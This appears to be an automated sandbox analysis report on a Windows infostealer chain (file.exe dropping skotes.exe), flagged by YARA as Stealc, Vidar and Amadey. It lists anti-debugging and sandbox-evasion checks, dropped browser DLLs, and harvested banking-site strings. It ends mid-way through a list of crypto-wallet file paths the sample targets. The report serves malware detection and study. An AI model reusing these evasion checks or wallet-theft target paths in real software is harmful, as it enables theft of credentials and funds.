Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 118774A second address: 1187755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7650B5D3D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11886FF second address: 118870F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F7650B5E938h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1130C3F second address: 1130C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F7650B5D3DAh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1130C56 second address: 1130C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1130C61 second address: 1130C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11922D5 second address: 11922E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jns 00007F7650B5E936h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11925B9 second address: 11925DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7650B5D3E0h 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007F7650B5D3D6h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11925DB second address: 11925EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 je 00007F7650B5E936h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11715C1 second address: 11715CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7650B5D3DCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11720A2 second address: 11720B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1197D6B second address: 1197D98 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7650B5D3D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F7650B5D3E8h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1197D98 second address: 1197D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1177BFF second address: 1177C09 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1177C09 second address: 1177C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5E93Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1179B90 second address: 1179BC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7650B5D3E6h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 117AB57 second address: 117ABFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a js 00007F7650B5E93Ah 0x00000010 mov bx, 9D29h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b call 00007F7650B5E93Fh 0x00000020 mov ebx, dword ptr [ebp+122D18C2h] 0x00000026 pop ebx 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e push edx 0x0000002f mov dword ptr [ebp+1244E4F8h], ebx 0x00000035 pop edi 0x00000036 mov eax, dword ptr [ebp+122D13BDh] 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007F7650B5E938h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 mov dword ptr [ebp+122D180Eh], esi 0x0000005c mov bx, si 0x0000005f push FFFFFFFFh 0x00000061 je 00007F7650B5E93Ch 0x00000067 mov dword ptr [ebp+122D31C3h], edi 0x0000006d nop 0x0000006e jmp 00007F7650B5E93Ch 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push ecx 0x00000077 jmp 00007F7650B5E945h 0x0000007c pop ecx 0x0000007d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 122F9E5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 122F902 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 145BB96 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Special instruction interceptor: First address: 11625C8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Special instruction interceptor: First address: FBE884 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Special instruction interceptor: First address: 11736F0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Special instruction interceptor: First address: 11F6DDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E625C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CBE884 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E736F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EF6DDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe

Code function: 26_2_04D402C0 rdtsc

26_2_04D402C0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009748001\d96f7523a6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2848	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2324	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6732	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3896	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2716	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2992	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3196	Thread sleep count: 58 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3196	Thread sleep time: -1740000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3196	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

1_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 0000001F.00000002.3413098469.0000000000E3D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.13.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.13.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000849000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW80
Source: Web Data.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001F.00000002.3411897951.000000000087C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.13.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000001.00000002.2754120647.0000000023631000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000001.00000002.2730002309.0000000000A34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000001.00000002.2754120647.0000000023631000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: file.exe, 00000001.00000002.2754120647.000000002369A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.13.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.13.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2730682872.00000000013AD000.00000040.00000001.01000000.00000003.sdmp, DocumentsKJEGDBKFIJ.exe, 0000001A.00000002.2723158475.000000000113D000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.2751261634.0000000000E3D000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2750731879.0000000000E3D000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001F.00000002.3413098469.0000000000E3D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe

Code function: 26_2_04D409A4 Start: 04D409AE End: 04D409B8

26_2_04D409A4

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe

Code function: 26_2_04D402C0 rdtsc

26_2_04D402C0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

1_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C8652B mov eax, dword ptr fs:[00000030h]		31_2_00C8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C8A302 mov eax, dword ptr fs:[00000030h]		31_2_00C8A302

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1612, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKJEGDBKFIJ.exe "C:\Users\user\DocumentsKJEGDBKFIJ.exe"
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000001.00000002.2730682872.00000000013AD000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: iProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C98B341 cpuid

1_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

1_2_6C9535A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 31_2_00C565E0 LookupAccountNameA,

31_2_00C565E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.DocumentsKJEGDBKFIJ.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.skotes.exe.c50000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000003.2710341590.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2709877046.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2751064570.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2682054922.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3412884936.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2750565197.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3286958404.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2723063317.0000000000F51000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2173576711.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2730382945.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1612, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 